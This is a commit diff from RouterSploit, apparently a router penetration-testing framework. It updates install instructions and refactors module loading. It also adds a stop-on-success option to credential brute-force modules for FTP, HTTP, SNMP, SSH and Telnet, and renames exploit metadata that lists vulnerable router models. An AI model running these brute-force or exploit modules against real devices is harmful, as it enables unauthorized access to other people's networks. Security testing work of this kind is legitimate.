Unverified Commit 38e2e0b4 by Allon Hadaya

Merge remote-tracking branch 'origin/new_loading_mechanism' into module-tests

parents 7bf6cd90 d77f961b
...@@ -14,11 +14,36 @@ It consists of various modules that aids penetration testing operations: ...@@ -14,11 +14,36 @@ It consists of various modules that aids penetration testing operations:
# Installation # Installation
## Requirements
* gnureadline
* requests
* paramiko
* beautifulsoup4
* pysnmp
## Installation on Kali
git clone https://github.com/reverse-shell/routersploit
cd routersploit
./rsf.py
## Installation on Ubuntu
sudo apt-get install python-dev python-pip libncurses5-dev git
git clone https://github.com/reverse-shell/routersploit git clone https://github.com/reverse-shell/routersploit
cd routersploit cd routersploit
pip install -r requirements.txt pip install -r requirements.txt
./rsf.py ./rsf.py
## Installation on OSX
git clone https://github.com/reverse-shell/routersploit
cd routersploit
sudo easy_install pip
sudo pip install -r requirements.txt
./rsf.py
# Update # Update
Update RouterSploit Framework often. Project is under heavy development and new modules are shipped almost everyday. Update RouterSploit Framework often. Project is under heavy development and new modules are shipped almost everyday.
...@@ -101,7 +126,7 @@ Display information about exploit: ...@@ -101,7 +126,7 @@ Display information about exploit:
Description: Description:
Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges. Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.
Targets: Devices:
- D-Link DIR 300 - D-Link DIR 300
- D-Link DIR 600 - D-Link DIR 600
......
...@@ -11,6 +11,7 @@ from routersploit.utils import ( ...@@ -11,6 +11,7 @@ from routersploit.utils import (
boolify, boolify,
mute, mute,
multi, multi,
index_modules,
) )
from routersploit import exploits from routersploit import exploits
......
...@@ -3,13 +3,9 @@ import os ...@@ -3,13 +3,9 @@ import os
import sys import sys
import traceback import traceback
import atexit import atexit
import importlib
import inspect
from routersploit.exceptions import RoutersploitException from routersploit.exceptions import RoutersploitException
from routersploit.exploits import Exploit
from routersploit import utils from routersploit import utils
from routersploit import modules as rsf_modules
if sys.platform == "darwin": if sys.platform == "darwin":
import gnureadline as readline import gnureadline as readline
...@@ -158,13 +154,11 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -158,13 +154,11 @@ class RoutersploitInterpreter(BaseInterpreter):
self.raw_prompt_template = None self.raw_prompt_template = None
self.module_prompt_template = None self.module_prompt_template = None
self.prompt_hostname = 'rsf' self.prompt_hostname = 'rsf'
self.modules_directory = rsf_modules.__path__[0]
self.modules = [] self.modules = utils.index_modules()
self.modules_with_errors = {} self.main_modules_dirs = [module for module in os.listdir(utils.MODULES_DIR) if not module.startswith("__")]
self.main_modules_dirs = []
self.__parse_prompt() self.__parse_prompt()
self.load_modules()
self.banner = """ ______ _ _____ _ _ _ self.banner = """ ______ _ _____ _ _ _
| ___ \ | | / ___| | | (_) | | ___ \ | | / ___| | | (_) |
...@@ -182,34 +176,12 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -182,34 +176,12 @@ class RoutersploitInterpreter(BaseInterpreter):
Total module count: {modules_count} Total module count: {modules_count}
""".format(modules_count=len(self.modules)) """.format(modules_count=len(self.modules))
def load_modules(self):
self.main_modules_dirs = [module for module in os.listdir(self.modules_directory) if not module.startswith("__")]
self.modules = []
self.modules_with_errors = {}
for root, dirs, files in os.walk(self.modules_directory):
_, package, root = root.rpartition('routersploit')
root = "".join((package, root)).replace(os.sep, '.')
modules = map(lambda x: '.'.join((root, os.path.splitext(x)[0])), filter(lambda x: x.endswith('.py'), files))
for module_path in modules:
try:
module = importlib.import_module(module_path)
except ImportError as error:
self.modules_with_errors[module_path] = error
else:
klasses = inspect.getmembers(module, inspect.isclass)
exploits = filter(lambda x: issubclass(x[1], Exploit), klasses)
# exploits = map(lambda x: '.'.join([module_path.split('.', 2).pop(), x[0]]), exploits)
# self.modules.extend(exploits)
if exploits:
self.modules.append(module_path.split('.', 2).pop())
def __parse_prompt(self): def __parse_prompt(self):
raw_prompt_default_template = "\033[4m{host}\033[0m > " raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
raw_prompt_template = os.getenv("RSF_RAW_PROMPT", raw_prompt_default_template).replace('\\033', '\033') raw_prompt_template = os.getenv("RSF_RAW_PROMPT", raw_prompt_default_template).replace('\\033', '\033')
self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template
module_prompt_default_template = "\033[4m{host}\033[0m (\033[91m{module}\033[0m) > " module_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 (\001\033[91m\002{module}\001\033[0m\002) > "
module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033') module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033')
self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template
...@@ -259,9 +231,9 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -259,9 +231,9 @@ class RoutersploitInterpreter(BaseInterpreter):
:return: list of most accurate command suggestions :return: list of most accurate command suggestions
""" """
if self.current_module: if self.current_module:
return ['run', 'back', 'set ', 'show ', 'check', 'debug', 'exit'] return ['run', 'back', 'set ', 'show ', 'check', 'exit']
else: else:
return ['use ', 'debug', 'exit'] return ['use ', 'exit']
def command_back(self, *args, **kwargs): def command_back(self, *args, **kwargs):
self.current_module = None self.current_module = None
...@@ -271,12 +243,9 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -271,12 +243,9 @@ class RoutersploitInterpreter(BaseInterpreter):
module_path = '.'.join(('routersploit', 'modules', module_path)) module_path = '.'.join(('routersploit', 'modules', module_path))
# module_path, _, exploit_name = module_path.rpartition('.') # module_path, _, exploit_name = module_path.rpartition('.')
try: try:
module = importlib.import_module(module_path) self.current_module = utils.import_exploit(module_path)()
self.current_module = getattr(module, 'Exploit')() except RoutersploitException as err:
except (ImportError, AttributeError, KeyError): utils.print_error(err.message)
utils.print_error("Error during loading '{}' module. "
"It should be valid path to the module. "
"Use <tab> key multiple times for completion.".format(utils.humanize_path(module_path)))
@utils.stop_after(2) @utils.stop_after(2)
def complete_use(self, text, *args, **kwargs): def complete_use(self, text, *args, **kwargs):
...@@ -331,12 +300,12 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -331,12 +300,12 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required @utils.module_required
def command_show(self, *args, **kwargs): def command_show(self, *args, **kwargs):
info, options = 'info', 'options' info, options, devices = 'info', 'options', 'devices'
sub_command = args[0] sub_command = args[0]
if sub_command == info: if sub_command == info:
utils.pprint_dict_in_order( utils.pprint_dict_in_order(
self.module_metadata, self.module_metadata,
("name", "description", "targets", "authors", "references"), ("name", "description", "devices", "authors", "references"),
) )
utils.print_info() utils.print_info()
elif sub_command == options: elif sub_command == options:
...@@ -352,12 +321,27 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -352,12 +321,27 @@ class RoutersploitInterpreter(BaseInterpreter):
utils.print_table(headers, *self.get_opts(*module_opts)) utils.print_table(headers, *self.get_opts(*module_opts))
utils.print_info() utils.print_info()
elif sub_command == devices:
if devices in self.current_module._Exploit__info__.keys():
devices = self.current_module._Exploit__info__['devices']
print("\nTarget devices:")
i = 0
for device in devices:
if isinstance(device, dict):
print(" {} - {}".format(i, device['name']))
else:
print(" {} - {}".format(i, device))
i += 1
print()
else:
print("\nTarget devices are not defined")
else: else:
print("Unknown command 'show {}'. You want to 'show {}' or 'show {}'?".format(sub_command, info, options)) print("Unknown command 'show {}'. You want to 'show {}' or 'show {}'?".format(sub_command, info, options))
@utils.stop_after(2) @utils.stop_after(2)
def complete_show(self, text, *args, **kwargs): def complete_show(self, text, *args, **kwargs):
sub_commands = ['info', 'options'] sub_commands = ['info', 'options', 'devices']
if text: if text:
return filter(lambda command: command.startswith(text), sub_commands) return filter(lambda command: command.startswith(text), sub_commands)
else: else:
...@@ -377,10 +361,5 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -377,10 +361,5 @@ class RoutersploitInterpreter(BaseInterpreter):
else: else:
utils.print_status("Target could not be verified") utils.print_status("Target could not be verified")
def command_debug(self, *args, **kwargs):
for key, value in self.modules_with_errors.iteritems():
utils.print_info(key)
utils.print_error(value, '\n')
def command_exit(self, *args, **kwargs): def command_exit(self, *args, **kwargs):
raise KeyboardInterrupt raise KeyboardInterrupt
...@@ -35,6 +35,7 @@ class Exploit(exploits.Exploit): ...@@ -35,6 +35,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -107,7 +108,9 @@ class Exploit(exploits.Exploit): ...@@ -107,7 +108,9 @@ class Exploit(exploits.Exploit):
try: try:
ftp.login(user, password) ftp.login(user, password)
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
except: except:
......
...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -99,7 +100,9 @@ class Exploit(exploits.Exploit): ...@@ -99,7 +100,9 @@ class Exploit(exploits.Exploit):
try: try:
ftp.login(user, password) ftp.login(user, password)
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
except: except:
......
...@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit): ...@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit):
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
path = exploits.Option('/', 'URL Path') path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -92,7 +93,9 @@ class Exploit(exploits.Exploit): ...@@ -92,7 +93,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password)) response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401: if response.status_code != 401:
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
path = exploits.Option('/', 'URL Path') path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -85,7 +86,9 @@ class Exploit(exploits.Exploit): ...@@ -85,7 +86,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password)) response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401: if response.status_code != 401:
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
...@@ -34,10 +34,11 @@ class Exploit(exploits.Exploit): ...@@ -34,10 +34,11 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit') form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path') path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path') form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
data = "" data = ""
...@@ -172,7 +173,9 @@ class Exploit(exploits.Exploit): ...@@ -172,7 +173,9 @@ class Exploit(exploits.Exploit):
l = len(r.text) l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]: if l < self.invalid["min"] or l > self.invalid["max"]:
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
...@@ -32,10 +32,11 @@ class Exploit(exploits.Exploit): ...@@ -32,10 +32,11 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port') port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit') form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path') path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path') form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
data = "" data = ""
...@@ -165,7 +166,9 @@ class Exploit(exploits.Exploit): ...@@ -165,7 +166,9 @@ class Exploit(exploits.Exploit):
l = len(r.text) l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]: if l < self.invalid["min"] or l > self.invalid["max"]:
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
import threading import threading
import netsnmp from pysnmp.entity.rfc3413.oneliner import cmdgen
from routersploit import ( from routersploit import (
exploits, exploits,
...@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit): ...@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'SNMP Bruteforce', 'name': 'SNMP Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'authors': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
} }
target = exploits.Option('', 'Target IP address or file with target:port (file://)') target = exploits.Option('', 'Target IP address or file with target:port (file://)')
...@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit): ...@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)') snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid community string')
strings = [] strings = []
def run(self): def run(self):
...@@ -59,23 +59,27 @@ class Exploit(exploits.Exploit): ...@@ -59,23 +59,27 @@ class Exploit(exploits.Exploit):
def target_function(self, running, data): def target_function(self, running, data):
module_verbosity = boolify(self.verbosity) module_verbosity = boolify(self.verbosity)
name = threading.current_thread().name name = threading.current_thread().name
address = "{}:{}".format(self.target, self.port)
print_status(name, 'thread is starting...', verbose=module_verbosity) print_status(name, 'thread is starting...', verbose=module_verbosity)
cmdGen = cmdgen.CommandGenerator()
while running.is_set(): while running.is_set():
try: try:
string = data.next().strip() string = data.next().strip()
bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0") errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
res = netsnmp.snmpget(bindvariable, Version=1, DestHost=address, Community=string) cmdgen.CommunityData(string),
cmdgen.UdpTransportTarget((self.target, int(self.port))),
'1.3.6.1.2.1.1.1.0',
)
if res[0] is not None: if errorIndication or errorStatus:
print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
else:
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity) print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
self.strings.append((self.target, self.port, string)) self.strings.append((self.target, self.port, string))
else:
print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
except StopIteration: except StopIteration:
break break
......
...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -95,10 +96,10 @@ class Exploit(exploits.Exploit): ...@@ -95,10 +96,10 @@ class Exploit(exploits.Exploit):
ssh.close() ssh.close()
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else: else:
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
print_status(name, 'thread is terminated.', verbose=module_verbosity) print_status(name, 'thread is terminated.', verbose=module_verbosity)
...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -90,10 +91,10 @@ class Exploit(exploits.Exploit): ...@@ -90,10 +91,10 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else: else:
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
print_status(name, 'process is terminated.', verbose=module_verbosity) print_status(name, 'process is terminated.', verbose=module_verbosity)
...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -100,7 +101,9 @@ class Exploit(exploits.Exploit): ...@@ -100,7 +101,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
tn.close() tn.close()
......
...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -94,7 +95,9 @@ class Exploit(exploits.Exploit): ...@@ -94,7 +95,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
if boolify(self.stop_on_success):
running.clear() running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
tn.close() tn.close()
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/9459/', 'https://www.exploit-db.com/exploits/9459/',
], ],
'targets': [ 'devices': [
'2Wire 2701HGV-W', '2Wire 2701HGV-W',
'2Wire 3800HGV-B', '2Wire 3800HGV-B',
'2Wire 3801HGV', '2Wire 3801HGV',
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt', 'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt',
], ],
'targets': [ 'devices': [
'Asmax AR 1004g', 'Asmax AR 1004g',
], ],
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise', 'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise',
'https://www.exploit-db.com/exploits/8846/', 'https://www.exploit-db.com/exploits/8846/',
], ],
'targets': [ 'devices': [
'Asmax AR 804 gu', 'Asmax AR 804 gu',
], ],
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://github.com/jduck/asus-cmd', 'https://github.com/jduck/asus-cmd',
], ],
'targets': [ 'devices': [
'ASUS RT-N66U', 'ASUS RT-N66U',
'ASUS RT-AC87U', 'ASUS RT-AC87U',
'ASUS RT-N56U', 'ASUS RT-N56U',
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://sintonen.fi/advisories/asus-router-auth-bypass.txt' 'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'
], ],
'targets': [ 'devices': [
'ASUS RT-N10U, firmware 3.0.0.4.374_168', 'ASUS RT-N10U, firmware 3.0.0.4.374_168',
'ASUS RT-N56U, firmware 3.0.0.4.374_979', 'ASUS RT-N56U, firmware 3.0.0.4.374_979',
'ASUS DSL-N55U, firmware 3.0.0.4.374_1397', 'ASUS DSL-N55U, firmware 3.0.0.4.374_1397',
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765',
'https://www.exploit-db.com/exploits/17349/', 'https://www.exploit-db.com/exploits/17349/',
], ],
'targets': [ 'devices': [
'Belkin G', 'Belkin G',
'Belkin N150', 'Belkin N150',
], ],
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403',
'https://www.exploit-db.com/exploits/4941/', 'https://www.exploit-db.com/exploits/4941/',
], ],
'targets': [ 'devices': [
'Belkin G', 'Belkin G',
], ],
} }
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'http://www.belkin.com/us/support-article?articleNum=109400', 'http://www.belkin.com/us/support-article?articleNum=109400',
'http://www.kb.cert.org/vuls/id/774788', 'http://www.kb.cert.org/vuls/id/774788',
], ],
'targets': [ 'devices': [
'Belkin N150 1.00.07', 'Belkin N150 1.00.07',
'Belkin N150 1.00.08', 'Belkin N150 1.00.08',
'Belkin N150 1.00.09', 'Belkin N150 1.00.09',
......
